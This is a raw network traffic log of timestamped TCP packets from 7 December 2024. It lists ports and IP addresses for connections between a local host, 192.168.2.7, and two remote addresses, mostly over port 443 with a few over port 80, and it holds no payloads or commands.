Dec 7, 2024 18:26:33.515877008 CET	443	49767	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:34.684315920 CET	80	49740	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:34.684406996 CET	49740	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:35.160463095 CET	443	49763	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.161107063 CET	49763	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.161133051 CET	443	49763	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.161582947 CET	49763	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.161587954 CET	443	49763	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.182074070 CET	443	49767	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.182939053 CET	49767	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.182939053 CET	49767	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.182952881 CET	443	49767	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.182966948 CET	443	49767	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.312517881 CET	443	49764	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.312994957 CET	49764	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.313024044 CET	443	49764	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.313493967 CET	49764	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.313515902 CET	443	49764	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.318166971 CET	443	49765	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.318495989 CET	49765	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.318506002 CET	443	49765	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.318734884 CET	443	49766	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.319057941 CET	49765	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.319061995 CET	443	49765	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.319189072 CET	49766	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.319206953 CET	443	49766	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.319714069 CET	49766	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.319722891 CET	443	49766	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.599478006 CET	443	49763	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.599546909 CET	443	49763	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.599603891 CET	49763	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.599916935 CET	49763	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.599935055 CET	443	49763	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.599951029 CET	49763	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.599956036 CET	443	49763	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.604758978 CET	49769	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.604809999 CET	443	49769	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.604881048 CET	49769	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.605653048 CET	49769	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.605663061 CET	443	49769	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.620233059 CET	443	49767	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.620300055 CET	443	49767	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.620444059 CET	49767	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.620532990 CET	49767	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.620552063 CET	443	49767	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.620565891 CET	49767	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.620569944 CET	443	49767	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.633070946 CET	49770	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.633122921 CET	443	49770	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.633193970 CET	49770	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.633439064 CET	49770	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.633451939 CET	443	49770	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.777717113 CET	443	49765	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.777792931 CET	443	49765	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.778004885 CET	49765	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.778915882 CET	443	49766	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.778995991 CET	443	49766	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.779053926 CET	49766	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.779393911 CET	443	49764	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.779472113 CET	443	49764	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.782434940 CET	49764	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.817028999 CET	49765	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.817056894 CET	443	49765	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.817090988 CET	49765	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.817097902 CET	443	49765	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.821321964 CET	49766	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.821321964 CET	49766	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.821357965 CET	443	49766	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.821367025 CET	443	49766	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.842091084 CET	49764	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.842118025 CET	443	49764	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.842155933 CET	49764	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.842164040 CET	443	49764	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.902734041 CET	49771	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:35.902791023 CET	443	49771	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:35.902853966 CET	49771	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:36.018157005 CET	49771	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:36.018183947 CET	443	49771	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:36.021883011 CET	49772	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:36.021929979 CET	443	49772	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:36.022000074 CET	49772	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:36.022125959 CET	49772	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:36.022138119 CET	443	49772	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:36.022833109 CET	49773	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:36.022874117 CET	443	49773	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:36.022980928 CET	49773	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:36.023346901 CET	49773	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:36.023361921 CET	443	49773	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:37.323244095 CET	443	49769	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:37.323931932 CET	49769	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:37.323964119 CET	443	49769	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:37.324424028 CET	49769	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:37.324429989 CET	443	49769	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:37.359724045 CET	443	49770	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:37.360193968 CET	49770	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:37.360219955 CET	443	49770	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:37.360554934 CET	49770	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:37.360559940 CET	443	49770	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:37.739718914 CET	443	49773	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:37.739742994 CET	443	49772	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:37.741267920 CET	49773	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:37.741297007 CET	443	49773	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:37.741733074 CET	49773	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:37.741739035 CET	443	49773	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:37.741825104 CET	49772	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:37.741853952 CET	443	49772	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:37.742417097 CET	49772	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:37.742424965 CET	443	49772	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:37.745624065 CET	443	49771	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:37.745963097 CET	49771	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:37.745980978 CET	443	49771	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:37.746411085 CET	49771	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:37.746416092 CET	443	49771	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:37.761457920 CET	443	49769	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:37.761523962 CET	443	49769	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:37.761583090 CET	49769	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:37.761782885 CET	49769	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:37.761805058 CET	443	49769	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:37.761815071 CET	49769	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:37.761821032 CET	443	49769	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:37.764296055 CET	49775	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:37.764328957 CET	443	49775	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:37.764400005 CET	49775	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:37.764527082 CET	49775	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:37.764537096 CET	443	49775	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:37.793837070 CET	443	49770	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:37.793909073 CET	443	49770	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:37.793971062 CET	49770	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:37.794188023 CET	49770	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:37.794210911 CET	443	49770	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:37.794223070 CET	49770	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:37.794228077 CET	443	49770	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:37.796734095 CET	49776	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:37.796783924 CET	443	49776	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:37.796982050 CET	49776	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:37.797159910 CET	49776	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:37.797172070 CET	443	49776	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:38.174747944 CET	443	49772	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:38.174818993 CET	443	49772	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:38.174971104 CET	49772	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:38.175045013 CET	49772	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:38.175065994 CET	443	49772	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:38.175081968 CET	49772	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:38.175087929 CET	443	49772	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:38.175472021 CET	443	49773	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:38.175539970 CET	443	49773	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:38.175584078 CET	49773	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:38.175643921 CET	49773	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:38.175662041 CET	443	49773	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:38.175673008 CET	49773	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:38.175678015 CET	443	49773	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:38.177833080 CET	49777	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:38.177865982 CET	443	49777	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:38.177901983 CET	49778	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:38.177932978 CET	49777	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:38.177953959 CET	443	49778	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:38.177997112 CET	49778	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:38.178082943 CET	49777	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:38.178093910 CET	443	49777	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:38.178155899 CET	49778	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:38.178164005 CET	443	49778	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:38.179934978 CET	443	49771	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:38.180001974 CET	443	49771	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:38.180042982 CET	49771	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:38.180125952 CET	49771	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:38.180133104 CET	443	49771	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:38.180143118 CET	49771	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:38.180146933 CET	443	49771	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:38.182173014 CET	49779	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:38.182197094 CET	443	49779	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:38.182281017 CET	49779	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:38.182404041 CET	49779	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:38.182414055 CET	443	49779	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:39.486418009 CET	443	49775	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:39.487032890 CET	49775	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:39.487061024 CET	443	49775	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:39.487509012 CET	49775	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:39.487519979 CET	443	49775	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:39.533150911 CET	443	49776	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:39.533770084 CET	49776	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:39.533792019 CET	443	49776	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:39.534130096 CET	49776	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:39.534136057 CET	443	49776	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:39.893794060 CET	443	49777	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:39.894558907 CET	49777	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:39.894587040 CET	443	49777	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:39.894912004 CET	49777	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:39.894917965 CET	443	49777	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:39.896095037 CET	443	49778	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:39.896485090 CET	49778	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:39.896503925 CET	443	49778	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:39.896838903 CET	49778	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:39.896845102 CET	443	49778	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:39.907593012 CET	443	49779	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:39.907988071 CET	49779	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:39.908015966 CET	443	49779	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:39.908360004 CET	49779	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:39.908364058 CET	443	49779	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:39.926642895 CET	443	49775	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:39.926712990 CET	443	49775	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:39.926786900 CET	49775	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:39.927011013 CET	49775	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:39.927035093 CET	443	49775	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:39.927050114 CET	49775	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:39.927056074 CET	443	49775	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:39.929807901 CET	49781	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:39.929867983 CET	443	49781	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:39.929959059 CET	49781	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:39.930123091 CET	49781	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:39.930135012 CET	443	49781	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:39.967528105 CET	443	49776	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:39.967597961 CET	443	49776	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:39.967658997 CET	49776	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:39.967818022 CET	49776	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:39.967838049 CET	443	49776	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:39.967861891 CET	49776	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:39.967868090 CET	443	49776	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:39.970761061 CET	49782	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:39.970808029 CET	443	49782	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:39.970885992 CET	49782	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:39.971060991 CET	49782	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:39.971076012 CET	443	49782	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:40.338620901 CET	443	49777	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:40.338696957 CET	443	49777	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:40.338746071 CET	49777	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:40.338906050 CET	49777	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:40.338933945 CET	443	49777	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:40.338949919 CET	49777	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:40.338957071 CET	443	49777	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:40.339946032 CET	443	49778	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:40.340003014 CET	443	49778	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:40.340044022 CET	49778	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:40.340126038 CET	49778	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:40.340140104 CET	443	49778	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:40.340169907 CET	49778	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:40.340174913 CET	443	49778	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:40.341595888 CET	49783	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:40.341636896 CET	443	49783	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:40.341696024 CET	49783	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:40.341839075 CET	49784	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:40.341852903 CET	49783	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:40.341866970 CET	443	49783	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:40.341907978 CET	443	49784	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:40.341968060 CET	49784	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:40.342053890 CET	49784	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:40.342060089 CET	443	49784	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:40.343792915 CET	443	49779	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:40.343856096 CET	443	49779	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:40.343899965 CET	49779	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:40.343977928 CET	49779	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:40.343988895 CET	443	49779	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:40.344008923 CET	49779	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:40.344014883 CET	443	49779	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:40.345838070 CET	49785	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:40.345873117 CET	443	49785	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:40.345936060 CET	49785	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:40.346046925 CET	49785	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:40.346056938 CET	443	49785	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:41.541472912 CET	49740	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:41.541757107 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:41.661350965 CET	80	49740	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:41.661406994 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:41.661492109 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:41.661653042 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:41.664413929 CET	443	49781	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:41.664916992 CET	49781	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:41.664942980 CET	443	49781	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:41.665396929 CET	49781	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:41.665401936 CET	443	49781	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:41.700011969 CET	443	49782	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:41.700448990 CET	49782	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:41.700484991 CET	443	49782	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:41.700865984 CET	49782	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:41.700871944 CET	443	49782	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:41.781219006 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:42.070996046 CET	443	49783	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.071086884 CET	443	49784	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.071481943 CET	49783	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.071510077 CET	443	49783	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.071784019 CET	49784	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.071810961 CET	443	49784	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.072052002 CET	49783	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.072060108 CET	443	49783	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.072364092 CET	49784	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.072369099 CET	443	49784	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.073811054 CET	443	49785	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.074388027 CET	49785	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.074412107 CET	443	49785	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.075155973 CET	49785	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.075160980 CET	443	49785	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.098527908 CET	443	49781	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.098609924 CET	443	49781	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.098679066 CET	49781	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.098853111 CET	49781	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.098875999 CET	443	49781	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.098889112 CET	49781	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.098896027 CET	443	49781	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.101438046 CET	49787	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.101483107 CET	443	49787	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.101557970 CET	49787	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.101706028 CET	49787	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.101717949 CET	443	49787	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.133755922 CET	443	49782	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.133826971 CET	443	49782	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.133899927 CET	49782	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.134114981 CET	49782	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.134128094 CET	443	49782	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.134140015 CET	49782	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.134145021 CET	443	49782	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.139914036 CET	49788	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.139950991 CET	443	49788	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.140017033 CET	49788	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.140177965 CET	49788	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.140187979 CET	443	49788	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.505074978 CET	443	49783	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.505143881 CET	443	49783	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.505280972 CET	49783	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.505526066 CET	49783	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.505542994 CET	443	49783	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.505554914 CET	49783	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.505561113 CET	443	49783	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.506074905 CET	443	49784	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.506139994 CET	443	49784	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.506191015 CET	49784	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.506275892 CET	49784	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.506294012 CET	443	49784	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.506304979 CET	49784	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.506309986 CET	443	49784	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.507504940 CET	443	49785	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.507560968 CET	443	49785	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.507612944 CET	49785	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.507852077 CET	49785	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.507880926 CET	443	49785	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.507894993 CET	49785	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.507900953 CET	443	49785	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.508579016 CET	49789	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.508625031 CET	443	49789	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.508686066 CET	49789	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.508971930 CET	49789	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.508996964 CET	443	49789	13.107.246.63	192.168.2.7
